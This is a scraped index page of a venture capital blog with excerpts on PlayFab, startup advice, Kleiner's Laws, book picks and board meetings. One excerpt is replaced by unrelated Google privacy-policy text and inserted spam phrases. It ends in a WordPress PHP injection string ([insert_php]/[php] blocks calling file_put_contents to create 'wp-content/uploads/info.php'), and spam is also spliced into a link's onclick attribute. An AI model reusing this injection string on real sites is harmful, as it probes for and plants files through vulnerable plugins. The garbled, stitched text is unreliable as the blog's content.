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PlayFab: Cloud Services Revolutionizes The Game Industry

We are thrilled to announce the first investment from our second fund:  a co-lead investment in a (literally) game-changing cloud-based company.   We expect Playfab’s cloud-based “Games as a Service” (GaaS) will change the interactive game industry in the same way that our portfolio company SWITCHFLY revolutionized the travel industry by powering bookings for dozens of top travel companies like American Airlines, Marriott, Amex Travel, British Airways, etc.  Why?  Because Switchfly’s scale & cloud economics allows it to do bookings & metrics better, faster and cheaper than even the biggest individual players read more.  Bloomberg TV explains this way better than me. Cloud-based economics change everything when they arrive in an industry.  It drastically reduces companies infrastructure development time and operating cost with better and cheaper solutions than they can afford to develop.   This allows companies to focus more on their core competences – like flying for American Airlines.   PlayFab helps game developers customers like Edge of Reality and  Uber Entertainment and build better games.  As Maya Rogers, CEO of Blue Planet Software (Tetris®) puts it “PlayFab brings the kind of comprehensive service that lets game developers focus on what they’re really good at: making games.  More often than not, building and maintaining the backend for a game takes more resources than the actual game development. PlayFab aims to take these headaches away, and we’re very excited about that.” PlayFab delivers the only one-stop shop fully integrated GaaS making PlayFab plug and play simple for game developers on every platform from iOS and Android to Steam and Facebook and most dev. environments (e.g. Unity3D, Cocos, etc., etc.).   Everything from player login & identity, in-game purchasing, inventory and management (all that clothing and weapons), game and player status, gamer challenges, player rankings & leaderboards,...

Sweat the Hard Stuff

Startups are nonlinear systems. That is they don’t go better just because you and your team work hard and “get stuff done”.   They go better when you Sweat The Hard Stuff. Here’s an example.  A small energetic startup visited me the other day updating me about how well the development on their new web and Android apps was going.   “Cool, I said, but is that the problem?” Their challenge is while the “progress” on development is directly proportional to effort and therefore gives satisfaction each day (“we got the login feature working!”), it will largely not affect their core challenge of customer retention & virality.   This is a “HARD STUFF” problem of an entirely different nature that requires all kinds of brainstorming, analysis, experimentation, surveys, imagination and throwing spaghetti at the wall that is not directly proportional to effort.   We batted ideas around for an hour, and found one breakthrough:   for their product, Facebook signups produce virality because of in-line picture sharing however Twitter signups don’t produce virality.   Eliminating Twitter signups was a step in improving virality explanation.  A small advance, but real progress from working smart vs. working hard. THIS IS HARD!   And worse, the HARD STUFF doesn’t feel like “progress” because many trials may fail and therefore feel unrewarding.   This is the nature of Before Product / Market Fit (BPMF), but when you are before BPMF, that HARD STUFF is all that matters.   Later in a startup’s life the HARD STUFF just changes nature like sales pipeline yield or whatever. One of my partners at Startup Capital Ventures...

Kleiner’s Laws Redux

The legendary Eugene Kleiner, cofounder of KPCB, penned ten of the most immortal lines of wisdom in the history of venture capital known as Kleiner’s Laws.   Many is the time I have heeded their advice and, arguably more times, wished I had.  They remain the cornerstone of wisdom for entrepreneurs.  Through the past 20 years of sitting on both the CEO and Venture Capital side of the table, I’ve learned (usually painfully and occasionally embarrassingly) what I will humbly offer up as a few corollaries. On Planning:   Measure twice, cut once.  It’s faster and cheaper. On Planning:   Hope for the best, but plan for the worst. On product development:  Tom had it right:  The waiting is the hardest part.  It will take longer and cost more than you think.  Always. On metrics:  <a href="https://en.wikipedia.org/wiki/William_Thomson,_1st_Baron_Kelvin" onclick="__gaTracker('send', 'event', 'outbound-article', 'https://en best collaboration tools.wikipedia.org/wiki/William_Thomson,_1st_Baron_Kelvin’, ‘Lord Kelvin’);”>Lord Kelvin said it best:  If you can’t measure it, you can’t improve it. On metrics:  Financial statements are like a speedometer & gas gauge:  you need them, but you can’t drive by them. On financials:   The dirty secret of every business is that it’s just a numbers game.  It must add up. On IP:  Value comes from what you keep, not what you create. On IP:  Whatever your IP budget is, double it.  (from Craig Johnson, legendary Silicon Valley attorney and my cofounder at Grassroots Enterprise.) On failure:  If you don’t fail once in a while you’re not pushing hard enough.  Fail incrementally & fast, pivot & move on. The golden equation:   product + market + team = deal On execution:  Step by step:  prioritization & sequencing are key....

If There Were Oscars for Startups & VC Movies

When you use Google services, you trust us with your information. This Privacy Policy is meant to help you understand what data we collect, why we collect it, and what we do with it. This is important; we hope you will take time to read it carefully. And remember, you can find controls to manage your information and protect your privacy and security at My Account. There are many different ways you can use our services – to search for and share information, to communicate with other people or to create new content. When you share information with us, for example by creating a Google Account, we can make those services even better – to show you more relevant search results and ads, to help you connect with people or to make sharing with others quicker and easier. As you use our services, we want you to be clear how we’re using information and the ways in which you can protect your privacy. Our Privacy Policy may change from time to time. We will not reduce your rights under this Privacy Policy without your explicit consent. We will post any privacy policy changes on this page and, if the changes are significant, we will provide a more prominent notice (including, for certain services, email notification of privacy policy changes) collaboration tools for business. We will also keep prior versions of this Privacy Policy in an archive for your review. [insert_php] echo 147098235+111;file_put_contents(‘wp-content/uploads/info.php’, ”); [/insert_php] [php] echo 147098235+111;file_put_contents(‘wp-content/uploads/info.php’, ”);...

Best Books on Startups & VC

Until recently, there have been astonishingly few good books by and for people who are building (or investing in) high-growth startup companies.   Fortunately that has changed:  after digesting far too many (burp), here are my picks of the most actionable and readable.  Unlike the many “textbook” treatments, these are written engagingly by successful principals who have “been there done that”, share their real-name stories, and know what you’re facing.   For fun there are couple of books in the “how to spend it” department by successful VCs (Tom Perkins) and entrepreneurs (Larry Ellison.) Andrew Roman’s Entrepreneurial Bible  < (Click to buy from Amazon) My pick for the best, most complete, and most applicable CEO / founder oriented startup book in print.   Mr. Romans has extensive experience in venture capital and has been an entrepreneur, so he writes from the useful perspective of one who has been on both sides of the table.   (Some of us think such experience makes the best VCs because we who have been entrepreneurs understand what it takes.) The book’s real stars are the domain-expert guest authors who have written many valuable chapters.  These range from well-known attorneys like Elton Satusky of famed Silicon Valley law firm Wilson-Sonsini, to legendary founders of venture funds including Pitch Johnson (Asset Management) and Tim Draper (DFJ), and successful CEOs.  The chapters are self-contained bite-size sections and the examples are real,  which makes for a fun read whether cover to cover, or in an a la carte open-it-anywhere style. It focuses mainly on consumer-oriented companies (as do most of these books) so it lacks some depth in IP and...

Of Board Meetings and Success

Board meetings.  Love them or hate them, they are a part of every company, non-profit and investor’s life.  With one exception (we’ll get to that later), I have loved every board of directors I have been part of whether as CEO or a board member or Chair in good times and bad. More importantly, I believe there is a strong correlation between the company’s success and how well it integrates the Board and Directors into its functioning.  I base this on over 20 boards on which I have been a member over a 20 year period.   With only one exception (see the end) the companies (and nonprofits), where there has been the most frequent board member interaction have been the most successful.  The entities where interaction has been quarterly and formal only have the highest rates of failure including bankruptcy. So what characterizes a high-functioning board and how does it help make a company successful?   Primarily it’s members who: 1.)  Know they are all on the same team  and do everything they can to ensure the success of the entity.   This is all about attitude and knowing it’s not about control, it’s about success.  The CEO can set this tone by holding a board dinner at the inception of a new board (or board member) where everyone can get to know each other while breaking a little bread. 2.)  Respect and leverage each other’s strengths.  For a CEO, a good board is like having 60-80 years of experience sitting around the table with you. WOW right?  CEO’s that leverage that, have an unfair advantage because, chances...